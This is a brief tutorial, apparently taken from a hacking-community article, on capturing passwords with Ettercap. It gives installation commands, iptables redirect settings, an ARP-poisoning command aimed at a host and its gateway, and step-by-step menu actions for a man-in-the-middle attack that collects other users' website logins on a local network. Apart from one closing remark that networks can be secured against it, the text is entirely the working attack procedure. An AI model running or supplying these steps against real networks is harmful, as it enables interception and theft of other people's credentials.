Password Sniffing with Ettercap

# http://www.hackthissite.org/articles/read/1044

sudo apt-get install ettercap

sudo apt-get install ettercap-gtk

nano  /etc/etter.conf (/usr/local/etc/etter.conf)

# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”

ettercap -G

ettercap -TqM ARP:REMOTE /192.168.1.100/ /192.168.1.1/

Now, click on Sniff>Unified Sniffing. A Dialog box will pop open, asking for the wireless interface. Select the one you are using.

You will notice that there are many more options on the top menu bar, for now however, click on hosts>Scan For Hosts. Wait for it to finish.

Now, click on Mitm (Man in the Middle), and select Arp Poisoning, and check the box that says "sniff remote connections". Click ok.

Alright, now, all you need to do is click on start>start sniffing. Go to another computer on your network and head over to some website where credentials are needed (Email, Forums, Facebook,Myspace etc). Log in and you should see your details come up in Ettercap. To stop sniffing, simple click on Start>Stop Sniffing, and Mitm>Stop Mitm attacks.


Please note that there are ways to secure a network against this, and it isn't 100% guaranteed to work 100% of the time. I did this on an unsecured network using the BackTrack 4 Beta, Ettercap, and an Ipod Touch.